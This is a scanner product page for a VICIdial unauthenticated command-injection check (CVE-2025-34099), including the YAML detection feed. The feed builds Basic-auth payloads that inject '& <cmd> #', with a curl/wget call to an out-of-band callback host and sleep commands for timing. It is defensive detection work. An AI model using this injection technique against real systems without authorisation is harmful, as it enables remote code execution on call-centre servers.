VICIdial — 1 vulnerability check
noctis ships 1 vulnerability check for VICIdial, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
VICIdial user_authorization Unauthenticated Command Injection
| CVE | CVE-2025-34099 |
|---|---|
| Severity | critical · CVSS 10.0 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, wait_oob, match · highest QoD 97 |
| Feed | tests/vulnerabilities/vicidial/CVE-2025-34099.yaml |
Detects the unauthenticated OS command injection in VICIdial 2.9 RC1 to 2.13 RC1: when password encryption is enabled, the HTTP Basic password sent to /vicidial/vicidial_sales_viewer.php is passed unfiltered to a shell command, so `& <command> #` runs a command as the web server user. The feed first sends a random login whose password holds `&` and `#` and checks that the 401 failed-login page reflects it unfiltered (unpatched input filter). It then injects benign commands and reports real execution from an out-of-band HTTP callback whose URL only a shell can rebuild, or from a reply delay that scales with an injected sleep. When no execution is seen but /agc/bp.pl (the password-encryption helper) is present, it reports the unpatched install at lower confidence: it becomes exploitable as soon as password encryption is enabled.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /vicidial/vicidial_sales_viewer.php - HTTP(S) request
GET /vicidial/vicidial_sales_viewer.php - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: VICIdial command injection confirmed via the HTTP Basic password of /vicidial/vicidial_sales_viewer.php: the failed-login page reflected `&…
- HTTP(S) request
GET /vicidial/vicidial_sales_viewer.php - HTTP(S) request
GET /vicidial/vicidial_sales_viewer.php - Checks
slow3.bodyfor\|BAD\|→ finding QoD 75: VICIdial command injection confirmed by timing via the HTTP Basic password of /vicidial/vicidial_sales_viewer.php: failed login answered in… - HTTP(S) request
GET /agc/bp.pl - Checks
bp.bodyforBcrypt password hashing script→ finding QoD 70: VICIdial user_authorization Command Injection — Unpatched, Exploitable When Password Encryption Is Enabled (CVE-2025-34099)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2025-34099
- http://www.vicidial.org/VICIDIALmantis/view.php?id=1016
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/vicidial_user_authorization_unauth_cmd_exec.rb
Feed source — tests/vulnerabilities/vicidial/CVE-2025-34099.yaml
# VICIdial 2.9 RC1 – 2.13 RC1 — user_authorization() Basic-auth password command injection (CVE-2025-34099)
#
# Ported from OpenVAS/Greenbone NVT `2017/gb_vicidial_rce_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.106838, GPL-2.0-only). Request shape checked
# against the Metasploit module exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec
# (bcoles, VICIdial mantis #1016):
# GET /vicidial/vicidial_sales_viewer.php
# Authorization: Basic base64(<user>:<rand>& <cmd> #)
# When password encryption is enabled (system_settings.pass_hash_enabled, off by
# default), user_authorization() runs exec("../agc/bp.pl --pass=$pass") with the
# HTTP Basic password, from which only ' " \ ; are stripped, so `& <cmd> #`
# runs <cmd> unauthenticated as the web server user. A failed login answers
# 401 with `Login incorrect, please try again: |<user>|<pass>|BAD|`. Fixed
# builds strip every non [-_0-9A-Za-z] character from the password.
#
# The NASL only checks that the failed-login page reflects `#` and `&` in the
# password (input filter not patched) and that /agc/bp.pl exists (encryption
# supported), and reports the host as vulnerable whether or not encryption is
# enabled. Detection here, all gated on that same unfiltered reflection:
# 1. OOB callback (QoD 97, only when OOB is configured): `& curl … ||wget … #`
# to the per-run OOB URL, the token split by an empty $() so only a shell
# rebuilds the callback path.
# 2. Time differential (QoD 75, when 1 did not fire): the gate request must
# answer in < 3 s, `& sleep 6 #` within gate + [4 s, 9 s),
# `& sleep 3 #` within gate + [1.5 s, 4.5 s), and the two 2–4.5 s apart.
# The lower bounds leave room for the gate's own bp.pl run (Perl + DBI +
# bcrypt, which the injected requests overlap in the background); the
# sleep6–sleep3 gap is what proves the delay tracks the argument — exec()
# blocks until the command exits and the page sends no header before
# user_authorization() returns, so each delay tracks its own argument. A
# server that tarpits every suspicious request by the same amount cannot
# satisfy both windows.
# 3. Unpatched filter + bp.pl present (QoD 70, when 1 and 2 did not fire):
# the NASL's own condition, reported with a title saying the command
# injection needs password encryption enabled (no execution was seen).
# No output can come back in-band (the exec() result only feeds an SQL
# pass_hash comparison), so nothing stronger than 1 / 2 exists.
#
# Better than the NASL: real execution is confirmed (OOB / timing) instead of
# inferred, and the default configuration (encryption off, not exploitable) is
# reported as a lower-QoD conditional finding rather than a confirmed RCE.
uid: e306635b-c9eb-42fd-86cc-b0f2651e85d2
name: "VICIdial user_authorization Unauthenticated Command Injection (CVE-2025-34099)"
description: |
Detects the unauthenticated OS command injection in VICIdial 2.9 RC1 to
2.13 RC1: when password encryption is enabled, the HTTP Basic password sent
to /vicidial/vicidial_sales_viewer.php is passed unfiltered to a shell
command, so `& <command> #` runs a command as the web server user. The feed
first sends a random login whose password holds `&` and `#` and checks that
the 401 failed-login page reflects it unfiltered (unpatched input filter).
It then injects benign commands and reports real execution from an
out-of-band HTTP callback whose URL only a shell can rebuild, or from a reply
delay that scales with an injected sleep. When no execution is seen but
/agc/bp.pl (the password-encryption helper) is present, it reports the
unpatched install at lower confidence: it becomes exploitable as soon as
password encryption is enabled.
cves: [CVE-2025-34099]
cvss: 10.0
severity: critical
confidence_base: 0.30
category: rce
tags: [vicidial, call-center, command-injection, rce, unauthenticated, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2025-34099"
- "http://www.vicidial.org/VICIDIALmantis/view.php?id=1016"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/vicidial_user_authorization_unauth_cmd_exec.rb"
- "OpenVAS/Greenbone NASL 2017/gb_vicidial_rce_vuln.nasl (GPL-2.0-only)"
steps:
# Per-run login: <user>:<word>&# for the gate, then the same prefix with an
# injected command. rand_str is [a-z0-9], none of which VICIdial filters.
- id: gen-auth
action: script
code: |
let user = "noctis" + rand_str(6);
let word = "n" + rand_str(8);
let pass = word + "&#";
#{
user: user,
reflect: "|" + user + "|" + pass + "|BAD|",
gate: base64_encode(user + ":" + pass),
sleep6: base64_encode(user + ":" + word + "& sleep 6 #"),
sleep3: base64_encode(user + ":" + word + "& sleep 3 #")
}
store_as: auth
- id: gen-oob-auth
action: script
condition: "oob_enabled"
code: |
let n = strlen(oob_token);
let path = "http://" + oob_host + ":" + oob_port + "/" + substr(oob_token, 0, 7) + "$()" + substr(oob_token, 8, n - 1);
let cmd = "curl -s -m 5 -o /dev/null " + path + "||wget -q -T 5 -t 1 -O /dev/null " + path;
base64_encode(auth.user + ":n" + rand_str(8) + "& " + cmd + " #")
store_as: oob_auth
# Pre-initialise every stored result read in a condition below.
- id: init-gate
action: set_var
var_name: gate
var_value: {status: 0, body: "", duration_ms: 0}
- id: init-slow6
action: set_var
var_name: slow6
var_value: {status: 0, body: "", duration_ms: 0}
- id: init-slow3
action: set_var
var_name: slow3
var_value: {status: 0, body: "", duration_ms: 0}
- id: init-bp
action: set_var
var_name: bp
var_value: {status: 0, body: ""}
# Gate: failed login whose password holds `&` and `#`. An unpatched build
# reflects it verbatim in `|<user>|<pass>|BAD|`; a fixed one strips both.
- id: gate
action: http_request
method: GET
path: "/vicidial/vicidial_sales_viewer.php"
headers:
Authorization: "Basic {{auth.gate}}"
tls_insecure: true
port: "{{port}}"
timeout_secs: 15
store_as: gate
# ── 1. OOB callback ─────────────────────────────────────────────────────
- id: inject-oob
action: http_request
method: GET
path: "/vicidial/vicidial_sales_viewer.php"
headers:
Authorization: "Basic {{oob_auth}}"
tls_insecure: true
port: "{{port}}"
timeout_secs: 20
condition: "oob_enabled && gate.status == 401 && stridx(gate.body, auth.reflect) >= 0"
store_as: oob_req
- id: wait-callback
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled && gate.status == 401 && stridx(gate.body, auth.reflect) >= 0"
store_as: oob_result
on_success:
finding:
confidence_delta: 0.67
qod: 97
evidence: "VICIdial command injection confirmed via the HTTP Basic password of /vicidial/vicidial_sales_viewer.php: the failed-login page reflected `&#` unfiltered, then a shell collapsed the $()-split OOB token and the injected curl/wget fetched the per-run OOB URL (HTTP callback received)"
stop: true
# ── 2. Time differential ────────────────────────────────────────────────
- id: inject-sleep6
action: http_request
method: GET
path: "/vicidial/vicidial_sales_viewer.php"
headers:
Authorization: "Basic {{auth.sleep6}}"
tls_insecure: true
port: "{{port}}"
timeout_secs: 20
condition: "gate.status == 401 && stridx(gate.body, auth.reflect) >= 0 && gate.duration_ms < 3000"
store_as: slow6
- id: inject-sleep3
action: http_request
method: GET
path: "/vicidial/vicidial_sales_viewer.php"
headers:
Authorization: "Basic {{auth.sleep3}}"
tls_insecure: true
port: "{{port}}"
timeout_secs: 20
condition: "gate.status == 401 && stridx(gate.body, auth.reflect) >= 0 && gate.duration_ms < 3000 && slow6.status == 401 && slow6.duration_ms >= gate.duration_ms + 4000 && slow6.duration_ms < gate.duration_ms + 9000"
store_as: slow3
- id: confirm-timing
action: match
source: slow3.body
pattern: "\\|BAD\\|"
condition: "gate.status == 401 && gate.duration_ms < 3000 && slow6.status == 401 && slow6.duration_ms >= gate.duration_ms + 4000 && slow6.duration_ms < gate.duration_ms + 9000 && slow3.status == 401 && slow3.duration_ms >= gate.duration_ms + 1500 && slow3.duration_ms < gate.duration_ms + 4500 && slow6.duration_ms - slow3.duration_ms >= 2000 && slow6.duration_ms - slow3.duration_ms < 4500"
on_match:
finding:
confidence_delta: 0.62
qod: 75
evidence: "VICIdial command injection confirmed by timing via the HTTP Basic password of /vicidial/vicidial_sales_viewer.php: failed login answered in {{gate.duration_ms}} ms, injected `& sleep 6 #` in {{slow6.duration_ms}} ms and `& sleep 3 #` in {{slow3.duration_ms}} ms (delay scales with the injected argument)"
stop: true
# ── 3. Unpatched filter + password-encryption helper present ────────────
- id: bp-helper
action: http_request
method: GET
path: "/agc/bp.pl"
tls_insecure: true
port: "{{port}}"
timeout_secs: 15
condition: "gate.status == 401 && stridx(gate.body, auth.reflect) >= 0"
store_as: bp
- id: confirm-unpatched
action: match
source: bp.body
pattern: "Bcrypt password hashing script"
condition: "gate.status == 401 && stridx(gate.body, auth.reflect) >= 0 && bp.status == 200"
on_match:
finding:
title: "VICIdial user_authorization Command Injection — Unpatched, Exploitable When Password Encryption Is Enabled (CVE-2025-34099)"
severity: high
remediation: "Upgrade VICIdial past 2.13 RC1 (the fixed builds strip every non-alphanumeric character from the login). Until then, keep password encryption (pass_hash_enabled) disabled: enabling it makes this install exploitable without authentication."
confidence_delta: 0.40
qod: 70
evidence: "VICIdial failed-login page /vicidial/vicidial_sales_viewer.php reflected the Basic password `&#` unfiltered (input filter not patched) and /agc/bp.pl (Bcrypt password hashing script) is present; no command execution was observed (password encryption probably disabled, or the injected command did not prove itself)"